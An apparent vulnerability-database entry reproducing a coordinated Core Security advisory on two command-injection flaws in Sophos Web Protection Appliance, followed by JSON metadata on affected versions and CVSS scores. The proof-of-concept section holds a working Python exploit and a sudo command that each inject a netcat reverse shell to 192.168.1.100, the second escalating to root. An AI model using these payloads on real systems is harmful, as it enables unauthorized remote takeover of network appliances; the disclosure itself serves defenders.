var-201309-0289
Vulnerability from variot

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to end-user/index.php. Sophos Web Appliance is prone to a remote command-injection vulnerability. Attackers can exploit this issue to execute arbitrary commands with the privileges of the 'spiderman' operating system user. Versions prior to Web Appliance 3.7.9.1 and 3.8.1.1 are vulnerable. The product supports real-time network threat protection, custom web filtering and dynamic control applications, etc. Advisory Information

Title: Sophos Web Protection Appliance Multiple Vulnerabilities Advisory ID: CORE-2013-0809 Advisory URL: http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities Date published: 2013-09-06 Date of last update: 2013-09-06 Vendors contacted: Sophos Release mode: Coordinated release

  1. Vulnerability Information

Class: OS command injection [CWE-78], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4983, CVE-2013-4984

  1. Vulnerability Description

Sophos Web Protection Appliance [1] provides advanced web malware protection, URL filtering and content control (including scanning of HTTPS traffic) in a Secure Web Gateway appliance.

  1. Vulnerable Packages

. Other versions may be affected too but they were no checked.

  1. Non-Vulnerable Packages

.

  1. Vendor Information, Solutions and Workarounds

Sophos published release notes and a knowledgebase article acknowledging the issue and the assistance given by Core Security in tracking it down [2][3].

  1. Credits

This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

  1. Technical Description / Proof of Concept Code

8.1. Pre-authentication OS command injection vulnerability

[CVE-2013-4983] The file '/opt/ui/apache/htdocs/end-user/index.php' can be accessed by unauthenticated users at 'https:///end-user/index.php'. It also can be reached through plain HTTP at 'http:///index.php', since Apache's 'httpd.conf' configuration file defines a VirtualHost at port 80 having DocumentRoot '/opt/ui/apache/htdocs/end-user/'. The 'run()' function in this PHP script obtains the requested controller from its 'c' GET parameter and calls the appropriate handler.

Available handlers are defined in '/opt/ui/apache/htdocs/config/UsrSiteflow.php':

/-----

flow = array( "index" => "UsrBlocked.php", "blocked" => "UsrBlocked.php", "invalid_certificate" => "UsrBlocked.php", "rss" => "UsrRss.php", ); } } ?>

-----/

That means that, for example, when requesting 'https:///end-user/index.php?c=blocked', the 'UsrBlocked.php' script will be used to render the page. Looking at the code in '/opt/ui/apache/htdocs/controllers/UsrBlocked.php':

/-----

config->read('wsa_proxy.https_scan') != 'yes') { $host = parse_url($url,PHP_URL_HOST); $args['url'] = $scheme . '://' . $host; } else { $args['url'] = $url; } if($_POST['args_reason'] == 'filetypewarn') { $key = $_POST['url']; $packer = '/opt/ws/bin/ftsblistpack'; $value = $_POST['filetype']; } else { $key = $_POST['domain']; $packer = '/opt/ws/bin/sblistpack'; $catParts = explode("|",$_POST['raw_category_id']); $value = $catParts[0]; } if(strlen(trim($_POST['user'])) > 0) $user = base64_decode($_POST['user_encoded']); else $user = $_POST['client-ip']; if($user == '-') $user = $_POST['client-ip']; $key = escapeshellarg($key); $user = escapeshellarg($user); $value = escapeshellarg($value); shell_exec("$packer $key $user $value"); [...] ?>

-----/

we can see that the Perl script '/opt/ws/bin/sblistpack' will be executed when the following conditions are met:

  1. the 'action' GET parameter is set to 'continue', and
  2. the 'args_reason' POST parameter is set to anything different that 'filetypewarn'; Variables whose content is controlled by the user '($key, $user, $value)' are properly escaped by using 'escapeshellarg()' before calling 'shell_exec()', making the UsrBlocked.php script not vulnerable to OS command injection at that point. However, the invoked '/opt/ws/bin/sblistpack' Perl script itself is vulnerable to OS command injection, because its 'get_referers()' function doesn't escape the first argument of the script before using it within a string that will be executed as a command by using backticks:

/----- sub get_referers { my $domain = shift;

if(! -f $referer_list) {
    return ();
}

# handle multiple google domains (e.g. google.co.uk)
if($domain =~ /^google\./) {
    $domain = 'google.com';
}

my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`;
chomp $output;

if($output =~ /'(.*)'$/) {
    my $sites = $1;
    return split('\|', $sites);
}
return ();

}

-----/

so, by setting the 'domain' POST parameter to a value like:

/----- http://example.com;/bin/nc -c /bin/bash 192.168.1.100 4444 -----/

an unauthenticated remote attacker can execute arbitrary OS commands on the Sophos appliance with the privileges of the 'spiderman' operating system user.

8.1.1. Proof of Concept

The following Python script exploits the pre-authentication OS command injection vulnerability and executes '/bin/nc -c /bin/bash 192.168.1.100 4444' on a vulnerable Sophos Web Protection Appliance in order to gain a reverse shell on attacker's machine at 192.168.1.100:

/----- import sys import httplib

def main(): if len(sys.argv) < 2: print "Usage: sophos_wpa_command_injection.py " sys.exit(1)

host = sys.argv[1]
port = 443

headers = {'Host': host,
           'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64;

rv:21.0) Gecko/20100101 Firefox/21.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8', 'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded' }

body  = 'url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d'
body +=

'&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo' body += '&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.com%3b%2fbin%2fnc%20-c%20%2fbin%2fbash%20192.168.1.100%204444' body += '&raw_category_id=one%7ctwo%7cthree%7cfour'

conn = httplib.HTTPSConnection(host, port)
conn.request('POST',

'/end-user/index.php?c=blocked&action=continue', body=body, headers=headers)

#Don't wait for the server response since it will be blocked by the

spawned shell conn.close() print 'Done.'

if name == 'main': main()
-----/

8.2. Privilege escalation through local OS command injection vulnerability

[CVE-2013-4984] The Apache web server within the Sophos appliance runs under the 'spiderman' user. The '/etc/sudoers' file defines a list of Bash and Perl scripts that the 'spiderman' user can run with the 'sudo' command:

/----- spiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, \ /opt/sophox/bin/sophox-register, \ /opt/sophox/bin/sophox-remote-assist, \ [...] /opt/cma/bin/clear_keys.pl, \ [...] -----/

The Perl script '/opt/cma/bin/clear_keys.pl' is vulnerable to OS command injection, because its 'close_connections()' function:

/----- sub close_connections { my ($client_ip, $signum, $signame) = @_;

my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`;
foreach (@connections) {
    if(/ESTABLISHED\s*(\d+)\/sshd/) {
        my $conn_pid = $+;
        log_info("connection PID: $conn_pid; my PID: $$; my process

tree: " . join(', ', @my_process_tree)); next if (grep {$_ == $conn_pid} @my_process_tree); log_info("Attempting to stop process '$conn_pid' with $signame"); kill $signum, $conn_pid; } } }
-----/

doesn't escape the second argument of the script before using it within a string that will be executed as a command by using backticks.

The following command can be executed within a compromised Web Protection Appliance to escalate privileges from 'spiderman' user to root and gain a reverse root shell on attacker's machine at 192.168.1.100:

/----- $ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn ";/bin/nc -c /bin/bash 192.168.1.100 5555;" /fakedir -----/

  1. Report Timeline

. 2013-08-12: Core Security Technologies notifies the Sophos team of the vulnerability and sends a technical report. Publication date is set for Sep 4th, 2013. 2013-08-13: Vendor acknowledges Core Security Technologies's e-mail, confirms the issues and notifies that they are working on a resolution and a release plan. 2013-08-14: Vendor notifies that they are expecting to release a fixed version in the first week of September. Vendor also notifies that they are also in the middle of an extended rollout of a new version of the product and would like to make this fix available to customers on both the new and old versions of the product, which increases the amount of testing involved. Sophos team asks for delay the advisory publication one week (Sep 11th). 2013-08-20: Core re-schedules the advisory publication for Sep 11th, 2013. 2013-09-05: Vendor notifies that they completed the testing early and the fixed version of the Web Appliance is scheduled for tomorrow, Friday 6th. Vendor also notifies that they have published release notes and a knowledgebase article acknowledging the issues [2][3]. 2013-09-06: Advisory CORE-2013-0809 published.

  1. References

[1] http://www.sophos.com/medialibrary/PDFs/factsheets/sophoswebappliancesdsna.pdf.

[2] http://www.sophos.com/en-us/support/knowledgebase/119773.aspx. [3] http://ca-repo1.sophos.com/docs/ws1000/ws1000/concepts/ReleaseNotes_3.8.1.1.html.

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

  1. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website

To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201309-0289",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.3.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.0.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.3.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.2.2.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.0.1.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.0.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.0.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.0.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.3.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "sophos",
        "version": "3.0.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.2.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.0.5"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.3.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.4.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.5"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.6"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.2.3"
      },
      {
        "model": "web appliance",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.9"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.3.3.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.2.4.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.6"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.2.7"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.7"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.8"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.3.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.2.4.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.1.0.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.1.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.2.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.2.6"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.8"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.6"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.1.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.3.5"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.1.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.1.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.8.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.1.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.1.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.1.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.3.4"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.4.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.8.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.0.5.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.3.6"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.3.6.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.5"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.2.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.8.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.2.5"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.3.5.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.5.0"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.1.1"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.8.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.6.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.5"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.4.7"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.7.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.2.2"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "sophos",
        "version": "3.2.3"
      },
      {
        "model": "web appliance",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "sophos",
        "version": "3.8.1.1"
      },
      {
        "model": "web appliance",
        "scope": null,
        "trust": 0.8,
        "vendor": "sophos",
        "version": null
      },
      {
        "model": "web appliance",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "sophos",
        "version": "3.8"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/h:sophos:web_appliance",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:sophos:web_appliance_firmware",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Francisco Falcon from Core Exploit Writers Team",
    "sources": [
      {
        "db": "BID",
        "id": "62263"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2013-4983",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2013-4983",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 1.8,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "VHN-64985",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2013-4983",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "CVE-2013-4983",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201309-071",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-64985",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-64985"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004013"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201309-071"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-4983"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to end-user/index.php. Sophos Web Appliance is prone to a remote command-injection vulnerability. \nAttackers can exploit this issue to execute arbitrary commands with the privileges of the \u0027spiderman\u0027 operating system user. \nVersions prior to Web Appliance 3.7.9.1 and 3.8.1.1 are vulnerable. The product supports real-time network threat protection, custom web filtering and dynamic control applications, etc. *Advisory Information*\n\nTitle: Sophos Web Protection Appliance Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0809\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities\nDate published: 2013-09-06\nDate of last update: 2013-09-06\nVendors contacted: Sophos\nRelease mode: Coordinated release\n\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], OS command injection [CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-4983, CVE-2013-4984\n\n\n3. *Vulnerability Description*\n\nSophos Web Protection Appliance [1] provides advanced web malware\nprotection, URL filtering and content control (including scanning of\nHTTPS traffic) in a Secure Web Gateway appliance. \n\n\n4. *Vulnerable Packages*\n\n   . Other versions may be affected too but they were no checked. \n\n5. *Non-Vulnerable Packages*\n\n   . \n\n6. *Vendor Information, Solutions and Workarounds*\n\nSophos published release notes and a knowledgebase article acknowledging\nthe issue and the assistance given by Core Security in tracking it down\n[2][3]. \n\n\n7. *Credits*\n\nThis vulnerability was discovered and researched by Francisco Falcon\nfrom Core Exploit Writers Team. The publication of this advisory was\ncoordinated by Fernando Miranda from Core Advisories Team. \n\n\n8. *Technical Description / Proof of Concept Code*\n\n \n\n\n8.1. *Pre-authentication OS command injection vulnerability*\n\n[CVE-2013-4983] The file \u0027/opt/ui/apache/htdocs/end-user/index.php\u0027 can\nbe accessed by unauthenticated users at\n\u0027https://\u003cWPA_server\u003e/end-user/index.php\u0027. It also can be reached\nthrough plain HTTP at \u0027http://\u003cWPA_server\u003e/index.php\u0027, since Apache\u0027s\n\u0027httpd.conf\u0027 configuration file defines a VirtualHost at port 80 having\nDocumentRoot \u0027/opt/ui/apache/htdocs/end-user/\u0027. The \u0027run()\u0027 function in\nthis PHP script obtains the requested controller from its \u0027c\u0027 GET\nparameter and calls the appropriate handler. \n\nAvailable handlers are defined in\n\u0027/opt/ui/apache/htdocs/config/UsrSiteflow.php\u0027:\n\n\n/-----\n\u003c?php\nrequire_once(\u0027AbstractSiteFlow.php\u0027);\nclass UsrSiteflow extends AbstractSiteFlow {\n    public function __construct() {\n        $this-\u003eflow = array(\n            \"index\" =\u003e \"UsrBlocked.php\",\n            \"blocked\" =\u003e \"UsrBlocked.php\",        \n            \"invalid_certificate\" =\u003e \"UsrBlocked.php\",\n            \"rss\" =\u003e \"UsrRss.php\",\n        );\n    }\n}\n?\u003e\n-----/\n\nThat means that, for example, when requesting\n\u0027https://\u003cWPA_server\u003e/end-user/index.php?c=blocked\u0027, the\n\u0027UsrBlocked.php\u0027 script will be used to render the page. Looking at the\ncode in \u0027/opt/ui/apache/htdocs/controllers/UsrBlocked.php\u0027:\n\n/-----\n\u003c?php\n[...]\n    if(isset($_GET[\u0027action\u0027])) {\n    if($_GET[\u0027action\u0027] == \u0027continue\u0027) {\n                // use sblistpack to allow access\n                $url = base64_decode($_POST[\u0027url\u0027]);\n        $scheme = parse_url($url,PHP_URL_SCHEME);\n        if($scheme == \"https\" \u0026\u0026\n$this-\u003econfig-\u003eread(\u0027wsa_proxy.https_scan\u0027) != \u0027yes\u0027) {\n        $host = parse_url($url,PHP_URL_HOST);\n        $args[\u0027url\u0027] = $scheme . \u0027://\u0027 . $host;\n        } else {\n        $args[\u0027url\u0027] = $url;\n                }\n        if($_POST[\u0027args_reason\u0027] == \u0027filetypewarn\u0027) {\n        $key = $_POST[\u0027url\u0027];\n        $packer = \u0027/opt/ws/bin/ftsblistpack\u0027;\n        $value = $_POST[\u0027filetype\u0027];\n        }\n        else {\n            $key = $_POST[\u0027domain\u0027];\n            $packer = \u0027/opt/ws/bin/sblistpack\u0027;\n            $catParts = explode(\"|\",$_POST[\u0027raw_category_id\u0027]);\n            $value = $catParts[0];\n        }\n        if(strlen(trim($_POST[\u0027user\u0027])) \u003e 0)\n            $user = base64_decode($_POST[\u0027user_encoded\u0027]);\n        else\n            $user = 